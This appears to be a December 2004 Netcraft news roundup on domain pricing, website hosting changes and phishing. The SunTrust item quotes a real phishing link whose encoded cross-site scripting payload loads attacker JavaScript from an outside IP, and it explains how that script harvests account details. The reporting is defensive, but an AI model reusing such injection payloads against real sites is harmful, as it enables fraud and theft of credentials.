Yahoo Slashes Domain prices to $4.98

Yahoo has slashed its domain name pricing to $4.98 a year through Dec. 31, continuing a pricing war among major hosting companies. The aggressive move comes just just four months after Yahoo dropped its price to $9.95 a year as part of a major push to expand its share of the shared hosting market.

The new pricing undercuts previous leader 1&1 Internet by nearly a dollar. While 1&1 operates its own ICANN-accredited registry, Yahoo continues to operate as a reseller for Melbourne IT, the Australian domain name registry that focuses on the wholesale market. While it's not known precisely what Yahoo is paying per domain, few registrars offer domains to resellers at prices below $6.50 per domain. Since it is likely selling at a loss, Yahoo has limited the offer to one domain per customer, preventing arbitrage-related bulk purchases by owners of large domain portfolios.

Yahoo's move may be a response to Interland, a major competitor in the small business hosting market, which last month lowered its domain name pricing to $7.95 a year, and was immediately rewarded with a one-month gain of 132K hostnames.

Retail Domain Name Prices, December 2004
Company One-year
.com price
&nbspPrimary Business&nbsp Primary Region
Yahoo $4.98 Shared Hosting America
1&1 Internet AG $5.99 Mixed Hosting Europe
EV1Servers $6.49 Dedicated Hosting America
Hostway $6.95 Shared Hosting America
Sipence (eNom) $6.95 Domain Registrar America
AIT Domains $6.95 Mixed Hosting America
Interland $7.95 Mixed Hosting America
Web.com $7.95 Mixed Hosting America
Go Daddy Inc $8.95 Domain Registrar America
Netcetera $9.89 Mixed Hosting Europe
RegisterFly $9.99 Domain Registrar America
Dotster $14.95 Domain Registrar America
FastHosts/UKReg $17.00 Mixed Hosting Europe
Pipex/123Reg $17.21 Mixed Hosting Europe
Network Solutions $34.99 Domain Registrar America
Register.com $35.00 Domain Registrar America
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www.georgewbush.com switches to self-hosted FreeBSD server, www.sun.com upgrades to Solaris 9, not 10

After www.georgewbush.com stepped away from the Akamai content management service on Nov 24, the site enjoyed a short-lived stay on a Windows 2000 server running Microsoft-IIS/5.0, hosted by the Republican National Committee. By Nov 30, the site had been moved to a FreeBSD server running Apache at BUSHCHENEY2004-65-172-163-128-255.

While response times have been improved since moving to FreeBSD, www.georgewbush.com is simply redirecting visitors to the Republican National Committee web site at www.gop.com; however, making an HTTP 1.0 request to www.georgewbush.com causes it to serve the "Test Page for Apache Installation" instead of instructing the browser to redirect to www.gop.com.

p-30464.0.png

p-30464.4.png

www.georgewbush.com continues to block access based on geographical location. A dynamically updating chart of site performance for www.georgewbush.com is available here

Another notable change was observed on Sun Microsystems’ web site at www.sun.com, which was upgraded from Solaris 8 to Solaris 9 on Nov 30. Sun's tardy approach to running the latest version of Solaris on www.sun.com - Solaris 10 was recently released - is in sharp contrast to Microsoft, who ran www.microsoft.com on Windows 2003 for months ahead of its launch.

Tech Giants Target Phishing as New Threats Emerge

Yesterday should have been a day for headlines about progress in the battle against phishing scams. Instead, the news was dominated by a new threat that drove home the need for vigilance on the anti-phishing frontier.

Seeking swifter action against fast-moving phishing scams, some of the Internet's best-known service providers announced plans to share phishing attack data with one another and law enforcement agencies through Digital Phishnet. But even as this anti-phishing dream tream was being unveiled, security researchers revealed a security hole that makes it easier for phishing operations to inject content into legitimate web sites.

Secunia documented a cross-browser security flaw that is likely to be rapidly adopted by phishing operations. The technique uses a specially-crafted link to a legitimate website, which then enables the scammer to place content into pop-up windows opened during the session - including data collection forms that spoof the design of the legitimate site.

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Mac Enthusiast Sites Hosted on Linux, FreeBSD

A decision by MacDailyNews to shift its web site from Mac OS X to Linux has highlighted the fact that many prominent sites for Macintosh users are hosted on either Linux or FreeBSD.

Mac enthusiast sites hosted on Linux include MacDailyNews, MacWorld and MacCentral. Running on FreeBSD are MacintoshOS, MacMinute and the entire Mac News Network group of sites, including MacSurfer, Apple Insider, Mac Observer and the MacNN main site.

Only about 60K hostnames worldwide are currently hosted on the Mac OS, and just eight hosting firms house more than 1,000 Mac-based hostnames. The largest, with 4K hostnames, is Natel.net, an ISP in Fairfield, Iowa.

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SunTrust site exploited by fraudsters

A facility in SunTrust Bank's www.suntrust.com web site is allowing fraudsters to inject their own code into the site to obtain SunTrust customer account authentication details, and at least one fraudster has exploited this error by sending large numbers of electronic mails purporting to be from SunTrust, asking the user to confirm their bank account on his form, executed from SunTrust's web site.

suntrust.gif

This makes the fraud much more convincing than traditional phishing mails, as the url the SunTrust customer clicks on actually runs from the SunTrust site before loading JavaScript from the fraudsters server, located in Korea.

The JavaScript then changes the title of the page to "Suntrust Online Banking - Account Verification" and sets the window status to "Suntrust Online Banking", thereby preventing suspicious URLs from being displayed when the victim hovers their mouse cursor over a hyperlink. An 'iframe' is used to insert a form onto the page, which asks the customer to enter their Social Security number and SunTrust banking details. When the form is submitted, it is processed by a PHP script, allowing the attacker to capture the account details.

The phishing emails received by Netcraft contain the following HTML to create a hyperlink to the SunTrust web site:

<a
href="http://www.suntrust.com/onlinestatements/index.asp?AccountVerify=df4g6
53432fvfdsGFSg45wgSVFwfvfVDFS54v54g5F42f543ff5445wv54w&promo=%22%3E%3Cscript
+language%3Djavascript+src%3D%22http%3A%2F%2F%3211%2E1%375%2E176%2E179%2Fsun
%2Fsun%2Ejs%22%3E%3C%2FSCRIPT%3E)http://www.suntrust.com/onlinestatements/in
dex.asp?AccountVerify=df4g653432fvfdsGFSg45wgSVFwfvfVDFS54v54g5F42f543ff5445
wv54w&promo=%22%3E%3Cscript+language%3Djavascript+src%3D%22http%3A%2F%2F%321
1%2E1%375%2E176%2E179%2Fsun%2Fsun%2Ejs%22%3E%3C%2FSCRIPT%3E"
target="_blank">click here.</td></tr></table></a>

One of the parameters supplied to the page is not properly encoded when the SunTrust site displays it, which allows an attacker to inject arbitrary HTML, including JavaScript which is executed by customers' web browsers. The highlighted portion of the URL, which unneccessarily appears twice, causes the following script to be inserted into the page:

<script language=javascript src="http://211.175.176.179/sun/sun.js">
</SCRIPT>

This in turn executes the JavaScript which is responsible for altering the contents of the page.

Fraudsters have noticed opportunities in SunTrust's internet banking operations previously, and a similar attack was executed in September.

Careless application errors and inadequate testing are believed to be an industry wide problem for internet banking, and even though it would seem to the man in the street appalling that someone could run a fraud from a bank's own site, SunTrust competitors are unlikely to be strongly critical through fear of similar problems with their own facilities.

Netcraft has highlighted the threat of cross site scripting and script injection used for fraud, and provides a range of services for banks and other financial institutions to try and eliminate these kinds of errors from their systems, including comprehensive application testing and training for developers and designers of web based applications.

Lycos Ends AntiSpam Effort, Denies Downing Spam Sites

Lycos Europe says it is officially ending its MakeLoveNotSpam anti-spam campaign, saying the controversial campaign has accomplished its objectives. The company also said traffic from users of the MakeLoveNotSpam screensaver wasn't responsible for outages at two spammer sites targeted during the attacks.

"Lycos has decided to close down its Make Love, Not Spam website," said spokesperson Malte Pollmann. "The aim of the campaign was to ignite a debate about anti-spam measures. We feel that we have achieved this through our activity and will now continue that debate with others in the email industry. We hope that this will lead to further new and innovative solutions to the problem of spam."

The company also says a published list of sites affected by traffic from the screensaver represented "historic data" and not ongoing activity. Netcraft used the list as a guide in analyzing the screensaver's impact, monitoring three sites which Lycos cited as being hardest hit by its campaign. Our analysis found two of the three sites cited by MakeLoveNotSpam were not available, and attributed this status to traffic generated by the screensaver. Lycos Europe says its attacks on those particular sites had already ceased.

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